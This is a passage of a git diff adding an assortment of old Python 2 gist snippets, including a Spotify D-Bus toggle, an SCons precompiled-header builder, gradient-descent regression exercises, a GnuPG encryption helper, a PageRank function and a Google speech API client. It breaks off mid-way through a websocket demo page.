diff --git a/hard-gists/1315148/snippet.py b/hard-gists/1315148/snippet.py
new file mode 100644
index 00000000..d9bccca3
--- /dev/null
+++ b/hard-gists/1315148/snippet.py
@@ -0,0 +1,23 @@
+# -*- coding: utf-8 -*-
+
+# Dead simple BEMHTML renderer concept via PyV8 (code.google.com/p/pyv8/)
+
+import os
+import PyV8
+
+PROJECT_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+PAGE = os.path.join(PROJECT_ROOT, 'pages/page')
+
+ctxt = PyV8.JSContext()
+ctxt.enter()
+
+bemjson = open(os.path.join(PAGE, 'example.bemjson.js'))
+bemhtml = open(os.path.join(PAGE, 'example.bemhtml.js'))
+
+# Evaluting bemhtml.js template
+ctxt.eval(bemhtml.read())
+
+# `json.dumps`?
+html = ctxt.eval("BEMHTML.apply(" + bemjson.read() + ")")
+
+print html
diff --git a/hard-gists/1320970/._snippet.py b/hard-gists/1320970/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1320970/._snippet.py differ
diff --git a/hard-gists/1320970/snippet.py b/hard-gists/1320970/snippet.py
new file mode 100644
index 00000000..5ec564c2
--- /dev/null
+++ b/hard-gists/1320970/snippet.py
@@ -0,0 +1,57 @@
+#!/usr/bin/env python
+
+""" 
+Spotify Screensaver Toggle
+By Stuart Colville
+http://muffinresearch.co.uk/
+
+Requires Spotify Linux Preview.
+
+"""
+
+import dbus
+import gobject
+from dbus.mainloop.glib import DBusGMainLoop
+
+class SpotifyScreenSaverPause(object):
+    """This pauses and plays spotify when the screensaver is activated"""
+
+    def __init__(self):
+        """init class."""
+        dbus_loop = DBusGMainLoop(set_as_default=True)
+        self.bus = dbus.SessionBus(mainloop = dbus_loop)
+        self.loop = gobject.MainLoop()
+        self.start_listen()
+        self.was_playing = 0
+        self.loop.run()
+
+    def start_listen(self):
+        """Listen to screensaver ActiveChanged events from dbus."""
+        screensaver = self.bus.get_object('org.gnome.ScreenSaver', 
+                                          '/org/gnome/ScreenSaver')
+        screensaver.connect_to_signal("ActiveChanged", self.play_pause)
+
+    def play_pause(self, *args, **kwargs):
+        """Toggle play/pause."""
+        try:
+            spotify = self.bus.get_object('org.mpris.MediaPlayer2.spotify', 
+                                          '/org/mpris/MediaPlayer2')
+            spotify_iface = dbus.Interface(spotify, 
+                dbus_interface='org.mpris.MediaPlayer2.Player')
+            props_iface = dbus.Interface(spotify, 
+                dbus_interface='org.freedesktop.DBus.Properties')
+            if self.was_playing:
+                spotify_iface.PlayPause()
+                self.was_playing = 0
+            else:
+                if props_iface.Get('org.mpris.MediaPlayer2.Player', 
+                                   'PlaybackStatus') == 'Playing':
+                    self.was_playing = 1
+                spotify_iface.Pause()
+        # Ignore exception caused by spotify not being started.
+        except dbus.exceptions.DBusException, e:
+            if e.get_dbus_name() != 'org.freedesktop.DBus.Error.ServiceUnknown':
+                raise
+
+if __name__ == "__main__":
+    ss = SpotifyScreenSaverPause()
\ No newline at end of file
diff --git a/hard-gists/1321295/._snippet.py b/hard-gists/1321295/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1321295/._snippet.py differ
diff --git a/hard-gists/1321295/snippet.py b/hard-gists/1321295/snippet.py
new file mode 100644
index 00000000..77083f02
--- /dev/null
+++ b/hard-gists/1321295/snippet.py
@@ -0,0 +1,150 @@
+#
+# SCons builder for gcc's precompiled headers
+# Copyright (C) 2006  Tim Blechmann (C) 2011 Pedro Larroy
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; see the file COPYING.  If not, write to
+# the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+# Boston, MA 02111-1307, USA.
+
+# 1.2
+#
+# 09-11-2011 Pedro Larroy: Fixed dependency emitter not working with variant dir
+# 07-09-2012 Pedro Larroy: Create the resulting pch on the variant directory,
+#   the variant dir should be added to the includes, before any of the other
+#   local includes for the compiler to search the pch file on the build directory
+#   that we just created. In doubt execute 'strace -f g++ ...' to check that it
+#   opens the correct pch. 
+#
+# FIXME: the original precompiled header has to be set
+#   in the environment as
+#   env['precompiled_header'], this should be fixed
+#
+#
+# Example usage:
+#  src_variant_dir = 'build/release'
+#  includes = [
+#    Dir(src_variant_dir),
+#    ... other includes ...
+#  ]
+#  ... set includes in environment ...
+#  env['precompiled_header'] = File('src/common/includes/all.h')
+#  env['Gch'] = env.Gch(target='common/includes/all.h.gch', source=env['precompiled_header'])
+
+
+
+import SCons.Action
+import SCons.Builder
+import SCons.Scanner.C
+import SCons.Util
+import SCons.Script
+import os
+import functools
+
+SCons.Script.EnsureSConsVersion(0,96,92)
+
+GchAction = SCons.Action.Action('$GCHCOM', '$GCHCOMSTR')
+GchShAction = SCons.Action.Action('$GCHSHCOM', '$GCHSHCOMSTR')
+
+def gen_suffix(env, sources):
+    return sources[0].get_suffix() + env['GCHSUFFIX']
+
+GchShBuilder = SCons.Builder.Builder(action = GchShAction,
+                                     source_scanner = SCons.Scanner.C.CScanner(),
+                                     suffix = gen_suffix)
+
+GchBuilder = SCons.Builder.Builder(action = GchAction,
+                                   source_scanner = SCons.Scanner.C.CScanner(),
+                                   suffix = gen_suffix)
+
+def header_path(node):
+    h_path = node.abspath
+    idx = h_path.rfind('.gch')
+    if idx != -1:
+        h_path = h_path[0:idx]
+        if not os.path.isfile(h_path):
+            raise SCons.Errors.StopError("can't find header file: {0}".format(h_path))
+        return h_path
+
+    else:
+        raise SCons.Errors.StopError("{0} file doesn't have .gch extension".format(h_path))
+
+def pch_emitter(pch_env_key, target, source, env):
+#    print 'target', target[0].str_for_display(), 'source', str(source[0])
+#    print 'target'
+#    print map(lambda x: x.str_for_display(), target)
+#    print 'source'
+#    print map(lambda x: x.str_for_display(), source)
+#    print 'env:'
+#    print env.get(pch_env_key)
+#    print type(env.get(pch_env_key))
+#    print
+    SCons.Defaults.StaticObjectEmitter( target, source, env )
+    scanner = SCons.Scanner.C.CScanner()
+    path = scanner.path(env)
+
+    deps = scanner(source[0], env, path)
+    if env.get(pch_env_key):
+        h_path = env['precompiled_header'].abspath
+        #print 'h_path', h_path
+        #print env['Gch'].abspath
+        #print map(lambda x: x.str_for_display(), deps)
+        #if h_path in [x.abspath for x in deps]:
+        for i in [x.abspath for x in deps]:
+            #print '|{0}|{1}|'.format(i, h_path)
+            if i == h_path:
+                if 'explain' in env.GetOption('debug'):
+                    print 'Found dep. on pch: ', source[0], ' -> ', env[pch_env_key]
+                env.Depends(target, env[pch_env_key])
+
+
+    return (target, source)
+
+def generate(env):
+    """
+    Add builders and construction variables for the Gch builder.
+    """
+    env.Append(BUILDERS = {
+        'gch': env.Builder(
+        action = GchAction,
+        suffix = 'gch',
+        target_factory = env.fs.File,
+        ),
+        'gchsh': env.Builder(
+        action = GchShAction,
+        target_factory = env.fs.File,
+        ),
+        })
+
+    try:
+        bld = env['BUILDERS']['Gch']
+        bldsh = env['BUILDERS']['GchSh']
+    except KeyError:
+        bld = GchBuilder
+        bldsh = GchShBuilder
+        env['BUILDERS']['Gch'] = bld
+        env['BUILDERS']['GchSh'] = bldsh
+
+    env['GCHCOM']     = '$CXX -Wall -o $TARGET -x c++-header -c $CXXFLAGS $CCFLAGS $_CCCOMCOM $SOURCE'
+    env['GCHSHCOM']   = '$CXX -o $TARGET -x c++-header -c $SHCXXFLAGS $CCFLAGS $_CCCOMCOM $SOURCE'
+    env['GCHSUFFIX']  = '.gch'
+
+    for suffix in SCons.Util.Split('.c .C .cc .cxx .cpp .c++'):
+        static_pch_emitter = functools.partial(pch_emitter, 'Gch')
+        env['BUILDERS']['StaticObject'].add_emitter( suffix, static_pch_emitter )
+        shared_pch_emitter = functools.partial(pch_emitter, 'GchSh')
+        env['BUILDERS']['SharedObject'].add_emitter( suffix, shared_pch_emitter )
+
+
+def exists(env):
+    return env.Detect('g++')
diff --git a/hard-gists/1321575/._snippet.py b/hard-gists/1321575/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1321575/._snippet.py differ
diff --git a/hard-gists/1321575/snippet.py b/hard-gists/1321575/snippet.py
new file mode 100644
index 00000000..6a1a7b48
--- /dev/null
+++ b/hard-gists/1321575/snippet.py
@@ -0,0 +1,115 @@
+from numpy import loadtxt, zeros, ones, array, linspace, logspace
+from pylab import scatter, show, title, xlabel, ylabel, plot, contour
+
+
+#Evaluate the linear regression
+def compute_cost(X, y, theta):
+    '''
+    Comput cost for linear regression
+    '''
+    #Number of training samples
+    m = y.size
+
+    predictions = X.dot(theta).flatten()
+
+    sqErrors = (predictions - y) ** 2
+
+    J = (1.0 / (2 * m)) * sqErrors.sum()
+
+    return J
+
+
+def gradient_descent(X, y, theta, alpha, num_iters):
+    '''
+    Performs gradient descent to learn theta
+    by taking num_items gradient steps with learning
+    rate alpha
+    '''
+    m = y.size
+    J_history = zeros(shape=(num_iters, 1))
+
+    for i in range(num_iters):
+
+        predictions = X.dot(theta).flatten()
+
+        errors_x1 = (predictions - y) * X[:, 0]
+        errors_x2 = (predictions - y) * X[:, 1]
+
+        theta[0][0] = theta[0][0] - alpha * (1.0 / m) * errors_x1.sum()
+        theta[1][0] = theta[1][0] - alpha * (1.0 / m) * errors_x2.sum()
+
+        J_history[i, 0] = compute_cost(X, y, theta)
+
+    return theta, J_history
+
+
+#Load the dataset
+data = loadtxt('ex1data1.txt', delimiter=',')
+
+#Plot the data
+scatter(data[:, 0], data[:, 1], marker='o', c='b')
+title('Profits distribution')
+xlabel('Population of City in 10,000s')
+ylabel('Profit in $10,000s')
+#show()
+
+X = data[:, 0]
+y = data[:, 1]
+
+
+#number of training samples
+m = y.size
+
+#Add a column of ones to X (interception data)
+it = ones(shape=(m, 2))
+it[:, 1] = X
+
+#Initialize theta parameters
+theta = zeros(shape=(2, 1))
+
+#Some gradient descent settings
+iterations = 1500
+alpha = 0.01
+
+#compute and display initial cost
+print compute_cost(it, y, theta)
+
+theta, J_history = gradient_descent(it, y, theta, alpha, iterations)
+
+print theta
+#Predict values for population sizes of 35,000 and 70,000
+predict1 = array([1, 3.5]).dot(theta).flatten()
+print 'For population = 35,000, we predict a profit of %f' % (predict1 * 10000)
+predict2 = array([1, 7.0]).dot(theta).flatten()
+print 'For population = 70,000, we predict a profit of %f' % (predict2 * 10000)
+
+#Plot the results
+result = it.dot(theta).flatten()
+plot(data[:, 0], result)
+show()
+
+
+#Grid over which we will calculate J
+theta0_vals = linspace(-10, 10, 100)
+theta1_vals = linspace(-1, 4, 100)
+
+
+#initialize J_vals to a matrix of 0's
+J_vals = zeros(shape=(theta0_vals.size, theta1_vals.size))
+
+#Fill out J_vals
+for t1, element in enumerate(theta0_vals):
+    for t2, element2 in enumerate(theta1_vals):
+        thetaT = zeros(shape=(2, 1))
+        thetaT[0][0] = element
+        thetaT[1][0] = element2
+        J_vals[t1, t2] = compute_cost(it, y, thetaT)
+
+#Contour plot
+J_vals = J_vals.T
+#Plot J_vals as 15 contours spaced logarithmically between 0.01 and 100
+contour(theta0_vals, theta1_vals, J_vals, logspace(-2, 3, 20))
+xlabel('theta_0')
+ylabel('theta_1')
+scatter(theta[0][0], theta[1][0])
+show()
diff --git a/hard-gists/1321585/._snippet.py b/hard-gists/1321585/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1321585/._snippet.py differ
diff --git a/hard-gists/1321585/snippet.py b/hard-gists/1321585/snippet.py
new file mode 100644
index 00000000..557c8707
--- /dev/null
+++ b/hard-gists/1321585/snippet.py
@@ -0,0 +1,130 @@
+from numpy import loadtxt, zeros, ones, array, linspace, logspace, mean, std, arange
+from mpl_toolkits.mplot3d import Axes3D
+import matplotlib.pyplot as plt
+from pylab import plot, show, xlabel, ylabel
+
+#Evaluate the linear regression
+
+def feature_normalize(X):
+    '''
+    Returns a normalized version of X where
+    the mean value of each feature is 0 and the standard deviation
+    is 1. This is often a good preprocessing step to do when
+    working with learning algorithms.
+    '''
+    mean_r = []
+    std_r = []
+
+    X_norm = X
+
+    n_c = X.shape[1]
+    for i in range(n_c):
+        m = mean(X[:, i])
+        s = std(X[:, i])
+        mean_r.append(m)
+        std_r.append(s)
+        X_norm[:, i] = (X_norm[:, i] - m) / s
+
+    return X_norm, mean_r, std_r
+
+
+def compute_cost(X, y, theta):
+    '''
+    Comput cost for linear regression
+    '''
+    #Number of training samples
+    m = y.size
+
+    predictions = X.dot(theta)
+
+    sqErrors = (predictions - y)
+
+    J = (1.0 / (2 * m)) * sqErrors.T.dot(sqErrors)
+
+    return J
+
+
+def gradient_descent(X, y, theta, alpha, num_iters):
+    '''
+    Performs gradient descent to learn theta
+    by taking num_items gradient steps with learning
+    rate alpha
+    '''
+    m = y.size
+    J_history = zeros(shape=(num_iters, 1))
+
+    for i in range(num_iters):
+
+        predictions = X.dot(theta)
+
+        theta_size = theta.size
+
+        for it in range(theta_size):
+
+            temp = X[:, it]
+            temp.shape = (m, 1)
+
+            errors_x1 = (predictions - y) * temp
+
+            theta[it][0] = theta[it][0] - alpha * (1.0 / m) * errors_x1.sum()
+
+        J_history[i, 0] = compute_cost(X, y, theta)
+
+    return theta, J_history
+
+#Load the dataset
+data = loadtxt('ex1data2.txt', delimiter=',')
+
+
+#Plot the data
+'''
+fig = plt.figure()
+ax = fig.add_subplot(111, projection='3d')
+n = 100
+for c, m, zl, zh in [('r', 'o', -50, -25)]:
+    xs = data[:, 0]
+    ys = data[:, 1]
+    zs = data[:, 2]
+    ax.scatter(xs, ys, zs, c=c, marker=m)
+
+ax.set_xlabel('Size of the House')
+ax.set_ylabel('Number of Bedrooms')
+ax.set_zlabel('Price of the House')
+
+plt.show()
+'''
+
+
+X = data[:, :2]
+y = data[:, 2]
+
+
+#number of training samples
+m = y.size
+
+y.shape = (m, 1)
+
+#Scale features and set them to zero mean
+x, mean_r, std_r = feature_normalize(X)
+
+#Add a column of ones to X (interception data)
+it = ones(shape=(m, 3))
+it[:, 1:3] = x
+
+#Some gradient descent settings
+iterations = 100
+alpha = 0.01
+
+#Init Theta and Run Gradient Descent
+theta = zeros(shape=(3, 1))
+
+theta, J_history = gradient_descent(it, y, theta, alpha, iterations)
+print theta, J_history
+plot(arange(iterations), J_history)
+xlabel('Iterations')
+ylabel('Cost Function')
+show()
+
+#Predict price of a 1650 sq-ft 3 br house
+price = array([1.0,   ((1650.0 - mean_r[0]) / std_r[0]), ((3 - mean_r[1]) / std_r[1])]).dot(theta)
+print 'Predicted price of a 1650 sq-ft, 3 br house: %f' % (price)
diff --git a/hard-gists/1323194/._snippet.py b/hard-gists/1323194/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1323194/._snippet.py differ
diff --git a/hard-gists/1323194/snippet.py b/hard-gists/1323194/snippet.py
new file mode 100644
index 00000000..e2431c21
--- /dev/null
+++ b/hard-gists/1323194/snippet.py
@@ -0,0 +1,23 @@
+# -*- coding: utf-8 -*-
+
+from datetime import datetime
+import sublime_plugin
+
+
+class TimestampCommand(sublime_plugin.EventListener):
+    """Expand `isoD`, `now`, `datetime`, `utcnow`, `utcdatetime`, 
+       `date` and `time`
+    """
+    def on_query_completions(self, view, prefix, locations):
+        if prefix in ('isoD', 'now', 'datetime'):
+            val = datetime.now().strftime('%Y-%M-%dT%H:%M:%S')
+        elif prefix in ('utcnow', 'utcdatetime'):
+            val = datetime.utcnow().strftime('%Y-%M-%dT%H:%M:%S')
+        elif prefix == 'date':
+            val = datetime.now().strftime('%Y-%M-%d')
+        elif prefix == 'time':
+            val = datetime.now().strftime('%H:%M:%S')
+        else:
+            val = None
+
+        return [(prefix, prefix, val)] if val else []
diff --git a/hard-gists/1326477/._snippet.py b/hard-gists/1326477/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1326477/._snippet.py differ
diff --git a/hard-gists/1326477/snippet.py b/hard-gists/1326477/snippet.py
new file mode 100644
index 00000000..2aa4889d
--- /dev/null
+++ b/hard-gists/1326477/snippet.py
@@ -0,0 +1,68 @@
+# In myapp.tasks __init__.py
+
+from celery import Celery
+celery = Celery()
+Task = celery.create_task_cls()
+
+class MyBaseTask(Task):
+    abstract = True
+    # ...
+
+# In myapp.tasks add.py
+
+from myapp.tasks import celery, MyBaseTask
+
+@celery.task(base=MyBaseTask)
+def add(x, y):
+    return x + y
+
+# In myapp __init__.py
+
+import sys
+from myapp.config import valid_configs
+from myapp.models import init_model
+
+def create_app(env):
+    app = Flask(__name__)
+    # This is just my convention for Flask, have a registry of configs
+    # so you don't have to store them all in one place, which might be in source
+    config = valid_configs.get(env)
+    if not config:
+        sys.exit('Invalid config, choices are [%s]' % ','.join(valid.configs.keys()))
+
+    app.config.from_object(config)
+
+    # Borrowed from Pylons, sets up connections, etc. but might do some broker setup in relation to celery
+    init_model(app)
+
+    # Celery: here's the magic part that you couldn't do before
+    # Assuming the config for your particular env has the celery stuff
+    from myapp.tasks import celery
+    celery.config.from_object(config)
+
+    return app
+
+# In manage.py (or app.py as I usually call it, whatever runs your server)
+
+import sys
+from myapp import create_app
+from flaskext.script import Manager
+from flaskext.celery import install_commands
+
+# Again, this is just something I personally do
+# to keep configs and such out of source
+env = 'dev'
+try:
+    env = open('use_env').read().strip()
+    if env != 'dev':
+        conf_file = env + '_config'
+        __import__('myapp.' + conf_file)
+except IOError:
+    pass
+
+app = create_app(env)
+manager = Manager(app)
+install_commands(manager)
+
+if __name__ == '__main__':
+    manager.run()
\ No newline at end of file
diff --git a/hard-gists/1327072/._snippet.py b/hard-gists/1327072/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1327072/._snippet.py differ
diff --git a/hard-gists/1327072/snippet.py b/hard-gists/1327072/snippet.py
new file mode 100644
index 00000000..71c747f8
--- /dev/null
+++ b/hard-gists/1327072/snippet.py
@@ -0,0 +1,71 @@
+# A simple Django utility function for encrypting data using GnuPG
+#
+# https://gist.github.com/1327072
+
+
+import os
+import subprocess
+from django.core.exceptions import ImproperlyConfigured
+from django.conf import settings
+
+
+GPG_BIN = getattr(settings, 'GPG_BIN', '/usr/bin/gpg')
+GPG_KEYRING_FILE = getattr(settings, 'GPG_KEYRING_FILE', '')
+GPG_KEY_IDS = getattr(settings, 'GPG_KEY_IDS', [])
+
+
+if not os.access(GPG_BIN, os.X_OK):
+    raise ImproperlyConfigured, "Cannot find GnuPG binary at %s" % GPG_BIN
+
+
+class EncryptionError(Exception):
+    """
+    This exception is raised to indicate that an error occurred during the
+    encryption process. The exception value will be the STDERR output of gpg,
+    so this exception should be swallowed by the calling process unless running
+    in debug mode.
+    """
+
+    pass
+
+
+def encrypt(data, key_ids=None):
+    """
+    Encrypt data with the public keys as specified as key_ids of the
+    application keyring. Data may contain unicode characters, which are sent
+    to GPG as UTF-8 data.
+    """
+
+    if not key_ids:
+        key_ids = GPG_KEY_IDS
+
+    args = [
+        GPG_BIN,
+        '--encrypt',
+        '--no-options',
+        '--trust-model',
+        'always',
+        '--batch',
+        '--armor',
+    ]
+
+    if GPG_KEYRING_FILE:
+        args += ['--no-default-keyring', '--keyring', GPG_KEYRING_FILE]
+
+    for key_id in key_ids:
+        args += ['--recipient', key_id]
+
+    try:
+        gpg = subprocess.Popen(
+            args,
+            bufsize = 4096,
+            stdin = subprocess.PIPE,
+            stdout = subprocess.PIPE,
+            stderr = subprocess.PIPE,
+        )
+        output = gpg.communicate(data.encode('utf8'))
+        if gpg.returncode != 0:
+            raise EncryptionError, "%d: %s" % (gpg.returncode, output[1])
+        return output[0]
+    except OSError, e:
+        raise EncryptionError, e
diff --git a/hard-gists/1329319/._snippet.py b/hard-gists/1329319/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1329319/._snippet.py differ
diff --git a/hard-gists/1329319/snippet.py b/hard-gists/1329319/snippet.py
new file mode 100644
index 00000000..4c4ba48d
--- /dev/null
+++ b/hard-gists/1329319/snippet.py
@@ -0,0 +1,56 @@
+#! /usr/bin/env python
+
+import redis
+import random
+import pylibmc
+import sys
+
+r = redis.Redis(host = 'localhost', port = 6389)
+mc = pylibmc.Client(['localhost:11222'])
+
+REDIS_SETGET = False
+REDIS_HSET = False
+MC = False
+
+NUM_ENTRIES = 1000000
+MAX_VAL = 12000000
+
+if len(sys.argv) != 2 or sys.argv[1] not in ('redis-normal', 'redis-hashes', 'memcached'):
+    print 'Specify a test: redis-normal, redis-hashes, memcached'
+    print 'NOTE: clear out memcached (restart) or Redis (FLUSHALL) before running'
+    sys.exit(2)
+if sys.argv[1] == 'redis-normal':
+    REDIS_SETGET = True
+elif sys.argv[1] == 'redis-hashes':
+    REDIS_HSET = True
+elif sys.argv[1] == 'memcached':
+    MC = True
+
+p = r.pipeline()
+for i in range(0, NUM_ENTRIES):
+    value = random.randint(0, MAX_VAL)
+    if MC:
+        mc.set(str(i), value)
+    elif REDIS_SETGET:
+        r.set(str(i), value)
+    elif REDIS_HSET:
+        bucket = int(i / 500)
+        p.hset(bucket, i, value)
+
+    if i % (NUM_ENTRIES/10) == 0:
+        if REDIS_SETGET or REDIS_HSET:
+            p.execute()
+            p = r.pipeline()
+        print i
+
+# one final clear out
+if REDIS_SETGET or REDIS_HSET:
+    p.execute()
+
+# get size
+if MC:
+    size = int(mc.get_stats()[0][1]['bytes'])
+elif (REDIS_SETGET or REDIS_HSET):
+    size = int(r.info()['used_memory'])
+
+print '%s bytes, %s MB' % (size, size / 1024 / 1024)
diff --git a/hard-gists/1337131/._snippet.py b/hard-gists/1337131/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1337131/._snippet.py differ
diff --git a/hard-gists/1337131/snippet.py b/hard-gists/1337131/snippet.py
new file mode 100644
index 00000000..b188e557
--- /dev/null
+++ b/hard-gists/1337131/snippet.py
@@ -0,0 +1,21 @@
+import maya.OpenMayaUI
+import maya.cmds as cmds
+import sip
+from PyQt4.QtGui import *
+from PyQt4.QtCore import *
+
+mainWindow = QMainWindow()
+centralWidget = QListView()
+mainWindow.setCentralWidget(centralWidget)
+dockWidget = QDockWidget("DockWidget", mainWindow)
+dockWidget.setAllowedAreas(Qt.LeftDockWidgetArea | Qt.RightDockWidgetArea)
+
+mayaMainWindow = sip.wrapinstance(long(maya.OpenMayaUI.MQtUtil.mainWindow()), QObject)
+channelBoxDockWidget = None
+
+widget = cmds.attrColorSliderGrp("__MyWidget__")
+
+dockWidget.setWidget([widget for widget in mayaMainWindow.findChildren(QWidget, "__MyWidget__")][0])
+
+mainWindow.addDockWidget(Qt.DockWidgetArea(Qt.LeftDockWidgetArea), dockWidget)
+mainWindow.show()
\ No newline at end of file
diff --git a/hard-gists/1338222/._snippet.py b/hard-gists/1338222/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1338222/._snippet.py differ
diff --git a/hard-gists/1338222/snippet.py b/hard-gists/1338222/snippet.py
new file mode 100644
index 00000000..66e700ae
--- /dev/null
+++ b/hard-gists/1338222/snippet.py
@@ -0,0 +1,68 @@
+import numpy as np
+from scipy.sparse import csc_matrix
+
+def pageRank(G, s = .85, maxerr = .001):
+    """
+    Computes the pagerank for each of the n states.
+
+    Used in webpage ranking and text summarization using unweighted
+    or weighted transitions respectively.
+
+
+    Args
+    ----------
+    G: matrix representing state transitions
+       Gij can be a boolean or non negative real number representing the
+       transition weight from state i to j.
+
+    Kwargs
+    ----------
+    s: probability of following a transition. 1-s probability of teleporting
+       to another state. Defaults to 0.85
+
+    maxerr: if the sum of pageranks between iterations is bellow this we will
+            have converged. Defaults to 0.001
+    """
+    n = G.shape[0]
+
+    # transform G into markov matrix M
+    M = csc_matrix(G,dtype=np.float)
+    rsums = np.array(M.sum(1))[:,0]
+    ri, ci = M.nonzero()
+    M.data /= rsums[ri]
+
+    # bool array of sink states
+    sink = rsums==0
+
+    # Compute pagerank r until we converge
+    ro, r = np.zeros(n), np.ones(n)
+    while np.sum(np.abs(r-ro)) > maxerr:
+        ro = r.copy()
+        # calculate each pagerank at a time
+        for i in xrange(0,n):
+            # inlinks of state i
+            Ii = np.array(M[:,i].todense())[:,0]
+            # account for sink states
+            Si = sink / float(n)
+            # account for teleportation to state i
+            Ti = np.ones(n) / float(n)
+
+            r[i] = ro.dot( Ii*s + Si*s + Ti*(1-s) )
+
+    # return normalized pagerank
+    return r/sum(r)
+
+
+
+
+if __name__=='__main__':
+    # Example extracted from 'Introduction to Information Retrieval'
+    G = np.array([[0,0,1,0,0,0,0],
+                  [0,1,1,0,0,0,0],
+                  [1,0,1,1,0,0,0],
+                  [0,0,0,1,1,0,0],
+                  [0,0,0,0,0,0,1],
+                  [0,0,0,0,0,1,1],
+                  [0,0,0,1,1,0,1]])
+
+    print pageRank(G,s=.86)
diff --git a/hard-gists/1342497/._snippet.py b/hard-gists/1342497/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1342497/._snippet.py differ
diff --git a/hard-gists/1342497/snippet.py b/hard-gists/1342497/snippet.py
new file mode 100644
index 00000000..f477ff37
--- /dev/null
+++ b/hard-gists/1342497/snippet.py
@@ -0,0 +1,59 @@
+# Copyright (c) 2011, Eng Eder de Souza
+#    ___    _              _       ___
+#   | __|__| |___ _ _   __| |___  / __| ___ _  _ _____ _
+#   | _|/ _` / -_) '_| / _` / -_) \__ \/ _ \ || |_ / _` |
+#   |___\__,_\___|_|   \__,_\___| |___/\___/\_,_/__\__,_|
+#Accessing the Google API for speech recognition!
+#Open a file type Wav to speech recognition
+#This source does not require any external programs to perform audio conversions :-)
+#http://ederwander.wordpress.com/2011/11/06/accessing-the-google-speech-api-python/
+#Eng Eder de Souza
+#date 01/11/2011
+
+from scikits.samplerate import resample
+from tempfile import mkstemp
+from os import remove
+import scikits.audiolab as audiolab
+# if you want make the down sample rate using scipy.signal
+#import scipy.signal
+import urllib2
+import sys
+
+if len(sys.argv)<2 :
+        print 'Usage: %s <audio file.wav>' %sys.argv[0]
+        sys.exit(0)
+File=sys.argv[1]
+
+#making a file temp for manipulation
+cd, FileNameTmp    = mkstemp('TmpSpeechFile.flac')
+
+#Frame Rate used by api speech from google
+fr=16000.
+
+#using audiolab to read wav file
+Signal, fs = audiolab.wavread(File)[:2]
+
+#changing the original sample rate to 16000fs fast mode
+Signal = resample(Signal, fr/float(fs), 'sinc_best')
+
+#changing sample rate from audio file using scipy this is a bit slow
+#Signal=scipy.signal.resample(Signal,int(round(len(Getsignal)*fr)/float(fs)),window=None)
+
+# file Format type
+fmt         = audiolab.Format('flac', 'pcm16')
+nchannels   = 1
+
+# making the file .flac
+afile =  audiolab.Sndfile(FileNameTmp, 'w', fmt, nchannels, fr)
+
+#writing in the file
+afile.write_frames(Signal)
+
+#Sending to google the file .flac
+url = "https://www.google.com/speech-api/v1/recognize?xjerr=1&client=chromium&lang=pt-BR"
+flac=open(FileNameTmp,"rb").read()
+header = {'Content-Type' : 'audio/x-flac; rate=16000'}
+req = urllib2.Request(url, flac, header)
+data = urllib2.urlopen(req)
+print data.read()
+remove(FileNameTmp)
diff --git a/hard-gists/1342942/._snippet.py b/hard-gists/1342942/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1342942/._snippet.py differ
diff --git a/hard-gists/1342942/snippet.py b/hard-gists/1342942/snippet.py
new file mode 100644
index 00000000..d3e215f1
--- /dev/null
+++ b/hard-gists/1342942/snippet.py
@@ -0,0 +1,17 @@
+from numpy import loadtxt, where
+from pylab import scatter, show, legend, xlabel, ylabel
+
+#load the dataset
+data = loadtxt('ex2data1.txt', delimiter=',')
+
+X = data[:, 0:2]
+y = data[:, 2]
+
+pos = where(y == 1)
+neg = where(y == 0)
+scatter(X[pos, 0], X[pos, 1], marker='o', c='b')
+scatter(X[neg, 0], X[neg, 1], marker='x', c='r')
+xlabel('Exam 1 score')
+ylabel('Exam 2 score')
+legend(['Not Admitted', 'Admitted'])
+show()
\ No newline at end of file
diff --git a/hard-gists/1343455/._snippet.py b/hard-gists/1343455/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1343455/._snippet.py differ
diff --git a/hard-gists/1343455/snippet.py b/hard-gists/1343455/snippet.py
new file mode 100644
index 00000000..9ab957cc
--- /dev/null
+++ b/hard-gists/1343455/snippet.py
@@ -0,0 +1,119 @@
+"""
+Run a websocket and HTTP server on port 7000. The web page served over HTTP
+connects to the websocket server and waits for database notifications.
+
+After loading the page, connect to your database and run
+
+=# NOTIFY data, 'some text';
+
+which should make 'some text' appear in the textarea.
+
+To shut down the server, run
+
+=# NOTIFY exit;
+
+which will make the process exit.
+"""
+
+from txpostgres import txpostgres
+import websocket
+
+from twisted.internet import defer, reactor
+from twisted.python import log, util
+from twisted.web import resource
+
+
+# customise this
+dsn = ""
+
+
+class MainPage(resource.Resource):
+
+    isLeaf = True
+
+    def render_GET(self, request):
+        return r"""
+<html>
+  <head>
+    <title>notify demo</title>
+    <script>
+      window.onload = function() {
+        var wsclass = window.WebSocket || window.MozWebSocket;
+        if (!wsclass) {
+            alert('your browser does not support WebSockets');
+        }
+        else {
+            var ws = new wsclass('ws://localhost:7000/data');
+            ws.onmessage = function(msg) {
+                document.getElementById('text').value += msg.data + '\n';
+            }
+        }
+      }
+    </script>
+  </head>
+  <body>
+    <input type="button" value="clear"
